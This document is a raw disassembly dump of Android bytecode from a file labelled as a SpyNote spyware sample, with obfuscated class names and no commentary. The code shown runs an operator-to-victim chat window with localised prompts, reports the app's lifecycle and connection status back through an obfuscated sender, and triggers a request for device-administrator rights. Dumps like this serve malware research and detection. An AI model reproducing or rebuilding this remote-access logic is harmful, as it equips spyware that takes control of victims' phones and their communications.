File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    00085cf0
    00085cf0cmf0.c3b5bm90zq.patch.C6::add(android.view.View):
    00085d00iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00085d04invoke-virtual {v7}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
    00085d0amove-result-object v7
    00085d0cinvoke-virtual {v7}, Ljava/lang/Object;->toString()Ljava/lang/String;
    00085d12move-result-object v7
    00085d14invoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    00085d1amove-result-object v0
    00085d1cconst-string v1, ""
    00085d20invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085d26move-result v0
    00085d28if-eqz v0, :cond_17
    00085d2creturn-void
    00085d2enew-instance v0, Ljava/lang/StringBuilder;
    00085d32invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00085d38sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085d3cconst-wide/16 v3, 0x4f
    00085d40invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085d46move-result-object v1
    00085d48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d4esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085d52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d58const-string v1, "Client:"
    00085d5cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d62sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085d66invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d6cinvoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d72invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085d78move-result-object v0
    00085d7ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085d80const-string v0, "Me: "
    00085d84new-instance v1, Landroid/text/SpannableString;
    00085d88invoke-direct {v1, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
    00085d8enew-instance v0, Landroid/text/style/ForegroundColorSpan;
    00085d92const/16 v2, 0xff
    00085d96const/4 v3, 0x1
    00085d98const/16 v4, 0xae
    00085d9cconst/16 v5, 0xf0
    00085da0invoke-static {v2, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
    00085da6move-result v2
    00085da8invoke-direct {v0, v2}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
    00085daeconst/4 v2, 0x0
    00085db0invoke-interface {v1}, Landroid/text/Spannable;->length()I
    00085db6move-result v3
    00085db8const/16 v4, 0x21
    00085dbcinvoke-interface {v1, v0, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
    00085dc2iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085dc6invoke-virtual {v0, v1}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085dcciget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085dd0invoke-virtual {v0, v7}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085dd6iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085ddaconst-string v0, "\n"
    00085ddeinvoke-virtual {v7, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085de4invoke-direct {v6}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
    00085deaiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00085deeconst-string v0, ""
    00085df2invoke-virtual {v7, v0}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
    00085df8return-void
    00085cf0
    00085dfa
    00085dfa // align 0x4
    00085dfc
    00085dfccmf0.c3b5bm90zq.patch.C6::onBackPressed():
    00085e0ciget-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
    00085e10if-nez v0, :cond_2f
    00085e14new-instance v0, Ljava/lang/StringBuilder;
    00085e18invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00085e1esget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085e22const-wide/16 v3, 0x4f
    00085e26invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085e2cmove-result-object v1
    00085e2einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085e34sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085e38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085e3econst-string v1, "Client:"
    00085e42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085e48sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085e4cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085e52const-string v1, "On Back Pressed!!"
    00085e56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085e5cinvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085e62move-result-object v0
    00085e64invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085e6areturn-void
    00085dfc
    00085e6c
    00085e6ccmf0.c3b5bm90zq.patch.C6::onCreate(android.os.Bundle):
    00085e7cinvoke-super {v7, v8}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
    00085e82sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
    00085e86const/16 v0, 0x19
    00085e8aif-gt v8, v0, :cond_19
    00085e8esget v8, Landroid/os/Build$VERSION;->SDK_INT:I
    00085e92const/16 v0, 0x12
    00085e96if-lt v8, v0, :cond_19
    00085e9ainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getWindow()Landroid/view/Window;
    00085ea0move-result-object v8
    00085ea2const v0, 0x680080
    00085ea8invoke-virtual {v8, v0}, Landroid/view/Window;->addFlags(I)V
    00085eaeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getResources()Landroid/content/res/Resources;
    00085eb4move-result-object v8
    00085eb6const v0, 0x7f0c0026
    00085ebcinvoke-virtual {v8, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00085ec2move-result-object v8
    00085ec4sput-object v8, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    00085ec8const v8, 0x7f09001b
    00085eceinvoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->setContentView(I)V
    00085ed4new-instance v8, Landroid/content/IntentFilter;
    00085ed8invoke-direct {v8}, Landroid/content/IntentFilter;-><init>()V
    00085edeiput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
    00085ee2iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
    00085ee6sget-object v0, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    00085eeainvoke-virtual {v8, v0}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
    00085ef0const v8, 0x7f070037
    00085ef6invoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
    00085efcmove-result-object v8
    00085efecheck-cast v8, Landroid/widget/EditText;
    00085f02iput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00085f06invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
    00085f0cmove-result-object v8
    00085f0einvoke-virtual {v8}, Ljava/util/Locale;->getLanguage()Ljava/lang/String;
    00085f14move-result-object v8
    00085f16const/4 v0, -0x1
    00085f18invoke-virtual {v8}, Ljava/lang/String;->hashCode()I
    00085f1emove-result v1
    00085f20const/4 v2, 0x0
    00085f22sparse-switch v1, :sswitch_data_1f0
    00085f28goto/16 :goto_c9
    00085f2cconst-string v1, "zh"
    00085f30invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085f36move-result v8
    00085f38if-eqz v8, :cond_c9
    00085f3cconst/16 v0, 0x9
    00085f40goto/16 :goto_c9
    00085f44const-string v1, "ur"
    00085f48invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085f4emove-result v8
    00085f50if-eqz v8, :cond_c9
    00085f54const/4 v0, 0x6
    00085f56goto :goto_c9
    00085f58const-string v1, "tr"
    00085f5cinvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085f62move-result v8
    00085f64if-eqz v8, :cond_c9
    00085f68const/4 v0, 0x2
    00085f6agoto :goto_c9
    00085f6cconst-string v1, "ro"
    00085f70invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085f76move-result v8
    00085f78if-eqz v8, :cond_c9
    00085f7cconst/16 v0, 0xa
    00085f80goto :goto_c9
    00085f82const-string v1, "ko"
    00085f86invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085f8cmove-result v8
    00085f8eif-eqz v8, :cond_c9
    00085f92const/4 v0, 0x7
    00085f94goto :goto_c9
    00085f96const-string v1, "ja"
    00085f9ainvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085fa0move-result v8
    00085fa2if-eqz v8, :cond_c9
    00085fa6const/16 v0, 0x8
    00085faagoto :goto_c9
    00085facconst-string v1, "in"
    00085fb0invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085fb6move-result v8
    00085fb8if-eqz v8, :cond_c9
    00085fbcconst/4 v0, 0x3
    00085fbegoto :goto_c9
    00085fc0const-string v1, "fr"
    00085fc4invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085fcamove-result v8
    00085fccif-eqz v8, :cond_c9
    00085fd0const/4 v0, 0x4
    00085fd2goto :goto_c9
    00085fd4const-string v1, "fa"
    00085fd8invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085fdemove-result v8
    00085fe0if-eqz v8, :cond_c9
    00085fe4const/4 v0, 0x5
    00085fe6goto :goto_c9
    00085fe8const-string v1, "en"
    00085fecinvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085ff2move-result v8
    00085ff4if-eqz v8, :cond_c9
    00085ff8const/4 v0, 0x0
    00085ffagoto :goto_c9
    00085ffcconst-string v1, "ar"
    00086000invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00086006move-result v8
    00086008if-eqz v8, :cond_c9
    0008600cconst/4 v0, 0x1
    0008600epacked-switch v0, :pswitch_data_21e
    00086014iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086018const-string v0, "Write a message"
    0008601cinvoke-virtual {v8, v0}, Landroid/widget/EditText;->setHint(Ljava/lang/CharSequence;)V
    00086022goto :goto_106
    00086024iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086028const-string v0, "Scrieți un mesaj"
    0008602cgoto :goto_d0
    0008602eiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086032const-string v0, "鍵入消息"
    00086036goto :goto_d0
    00086038iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    0008603cconst-string v0, "メッセージを入力"
    00086040goto :goto_d0
    00086042iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086046const-string v0, "메시지 입력"
    0008604agoto :goto_d0
    0008604ciget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086050const-string v0, "پیغام لكهیں"
    00086054goto :goto_d0
    00086056iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    0008605aconst-string v0, "یک پیام بنويسيد"
    0008605egoto :goto_d0
    00086060iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086064const-string v0, "Taper message"
    00086068goto :goto_d0
    0008606aiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    0008606econst-string v0, "कोई संदेश लिखें"
    00086072goto :goto_d0
    00086074iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086078const-string v0, "Bir mesaj yaz"
    0008607cgoto :goto_d0
    0008607eiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086082const-string v0, "اكتب رسالة"
    00086086goto :goto_d0
    00086088const v8, 0x7f070058
    0008608einvoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
    00086094move-result-object v8
    00086096check-cast v8, Landroid/widget/ImageButton;
    0008609aiput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->e:Landroid/widget/ImageButton;
    0008609econst v8, 0x7f07006c
    000860a4invoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
    000860aamove-result-object v8
    000860accheck-cast v8, Landroid/widget/TextView;
    000860b0iput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    000860b4invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getIntent()Landroid/content/Intent;
    000860bamove-result-object v8
    000860bcinvoke-virtual {v8}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    000860c2move-result-object v8
    000860c4if-eqz v8, :cond_1b9
    000860c8sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000860ccconst-wide/16 v3, 0x5a
    000860d0invoke-static {v0, v1, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000860d6move-result-object v0
    000860d8invoke-virtual {v8, v0}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
    000860demove-result-object v0
    000860e0check-cast v0, Ljava/lang/String;
    000860e4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000860e8const-wide/16 v5, 0x5b
    000860ecinvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000860f2move-result-object v1
    000860f4invoke-virtual {v8, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
    000860famove-result-object v8
    000860fccheck-cast v8, Ljava/lang/String;
    00086100sput-object v0, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
    00086104if-eqz v8, :cond_1b9
    00086108new-instance v0, Landroid/text/SpannableString;
    0008610cnew-instance v1, Ljava/lang/StringBuilder;
    00086110invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00086116sget-object v3, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
    0008611ainvoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086120const-string v3, ": "
    00086124invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008612ainvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00086130move-result-object v1
    00086132invoke-direct {v0, v1}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
    00086138new-instance v1, Landroid/text/style/ForegroundColorSpan;
    0008613cconst/16 v3, 0xfc
    00086140const/16 v4, 0xc8
    00086144const/16 v5, 0x86
    00086148const/16 v6, 0xff
    0008614cinvoke-static {v6, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
    00086152move-result v3
    00086154invoke-direct {v1, v3}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
    0008615ainvoke-interface {v0}, Landroid/text/Spannable;->length()I
    00086160move-result v3
    00086162const/16 v4, 0x21
    00086166invoke-interface {v0, v1, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
    0008616ciget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00086170invoke-virtual {v1, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00086176const-string v0, "PANG !!"
    0008617ainvoke-virtual {v8, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00086180move-result v0
    00086182if-eqz v0, :cond_1aa
    00086186const-string v0, "!!"
    0008618ainvoke-virtual {v8, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    00086190move-result v0
    00086192if-eqz v0, :cond_1aa
    00086196new-instance v0, Landroid/text/SpannableString;
    0008619ainvoke-direct {v0, v8}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
    000861a0new-instance v8, Landroid/text/style/ForegroundColorSpan;
    000861a4const/16 v1, 0xf0
    000861a8invoke-static {v6, v1, v2, v2}, Landroid/graphics/Color;->argb(IIII)I
    000861aemove-result v1
    000861b0invoke-direct {v8, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
    000861b6invoke-interface {v0}, Landroid/text/Spannable;->length()I
    000861bcmove-result v1
    000861beinvoke-interface {v0, v8, v2, v1, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
    000861c4iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    000861c8invoke-virtual {v8, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    000861cegoto :goto_1af
    000861d0iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    000861d4invoke-virtual {v0, v8}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    000861daiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    000861deconst-string v0, "\n"
    000861e2invoke-virtual {v8, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    000861e8invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
    000861eenew-instance v8, Ljava/lang/StringBuilder;
    000861f2invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    000861f8sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000861fcconst-wide/16 v2, 0x4f
    00086200invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00086206move-result-object v0
    00086208invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008620esget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00086212invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086218const-string v0, "Connected"
    0008621cinvoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086222sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00086226invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008622cconst-string v0, "OpWin"
    00086230invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086236invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008623cmove-result-object v8
    0008623einvoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00086244iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00086248new-instance v0, Lcmf0/c3b5bm90zq/patch/C6$1;
    0008624cinvoke-direct {v0, v7}, Lcmf0/c3b5bm90zq/patch/C6$1;-><init>(Lcmf0/c3b5bm90zq/patch/C6;)V
    00086252invoke-virtual {v8, v0}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
    00086258return-void
    0008625anop
    0008625c.sparse-switch
    000862b8.packed-switch 0x0
    00085e6c
    000862ec
    000862eccmf0.c3b5bm90zq.patch.C6::onResume():
    000862fcinvoke-super {v2}, Landroid/app/Activity;->onResume()V
    00086302iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C6;->h:Landroid/content/BroadcastReceiver;
    00086306iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
    0008630ainvoke-virtual {v2, v0, v1}, Lcmf0/c3b5bm90zq/patch/C6;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    00086310return-void
    000862ec
    00086312
    00086312 // align 0x4
    00086314
    00086314cmf0.c3b5bm90zq.patch.C6::onStart():
    00086324invoke-super {v5}, Landroid/app/Activity;->onStart()V
    0008632aconst/4 v0, 0x1
    0008632csput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
    00086330sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
    00086334const/4 v0, 0x0
    00086336iput-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
    0008633anew-instance v0, Ljava/lang/StringBuilder;
    0008633einvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00086344sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00086348const-wide/16 v3, 0x4f
    0008634cinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00086352move-result-object v1
    00086354invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008635asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008635einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086364const-string v1, "Client:"
    00086368invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008636esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00086372invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086378const-string v1, "On Start!!"
    0008637cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086382invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00086388move-result-object v0
    0008638ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00086390return-void
    00086314
    00086392
    00086392 // align 0x4
    00086394
    00086394cmf0.c3b5bm90zq.patch.C6::onStop():
    000863a4invoke-super {v5}, Landroid/app/Activity;->onStop()V
    000863aaconst/4 v0, 0x0
    000863acsput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
    000863b0sput-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
    000863b4iget-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
    000863b8if-nez v0, :cond_37
    000863bcnew-instance v0, Ljava/lang/StringBuilder;
    000863c0invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    000863c6sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000863caconst-wide/16 v3, 0x4f
    000863ceinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000863d4move-result-object v1
    000863d6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000863dcsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000863e0invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000863e6const-string v1, "Client:"
    000863eainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000863f0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000863f4invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000863faconst-string v1, "On Stop!!"
    000863feinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086404invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008640amove-result-object v0
    0008640cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00086412return-void
    00086394
    00086414
    00086414cmf0.c3b5bm90zq.patch.C7$1::<init>(cmf0.c3b5bm90zq.patch.C7):
    00086424iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086428invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    0008642ereturn-void
    00086414
    00086430
    00086430cmf0.c3b5bm90zq.patch.C7$1::run():
    00086440iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086444invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C7;->a(Lcmf0/c3b5bm90zq/patch/C7;)Ljava/util/concurrent/locks/Lock;
    0008644amove-result-object v0
    0008644cinvoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->lock()V
    00086452iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    00086456invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    0008645cmove-result-object v0
    0008645einvoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00086464move-result-object v0
    00086466const v1, 0x7f0c0021
    0008646cinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00086472move-result-object v0
    00086474const/4 v1, 0x4
    00086476invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    0008647cmove-result v1
    0008647econst/16 v2, 0x31
    00086482if-ne v1, v2, :cond_28
    00086486iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    0008648ainvoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C7;->b(Lcmf0/c3b5bm90zq/patch/C7;)V
    00086490const/4 v1, 0x3
    00086492invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00086498move-result v3
    0008649aif-ne v3, v2, :cond_6a
    0008649eiget-object v3, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000864a2new-instance v4, Lcmf0/c3b5bm90zq/patch/c;
    000864a6iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000864aainvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    000864b0move-result-object v5
    000864b2invoke-direct {v4, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    000864b8iput-object v4, v3, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
    000864bciget-object v3, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
    000864c0iget-object v3, v3, Lcmf0/c3b5bm90zq/patch/C7;->a:Lcmf0/c3b5bm90zq/patch/c;
    000864c4invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    000864camove-result v3
    000864ccif-nez v3, :cond_6a
    000864d0new-instance v3, Landroid/content/Intent;
    000864d4const-string v4, "android.app.action.ADD_DEVICE_ADMIN"
    000864d8invoke-direct {v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
    000864deconst-string v4, "android.app.extra.DEVICE_ADMIN"
    000864e2iget-object v5, v8, Lcmf0/c3b5bm90zq/patch/C7$1;->a:Lcmf0/c3b5bm90zq/patch/C7;
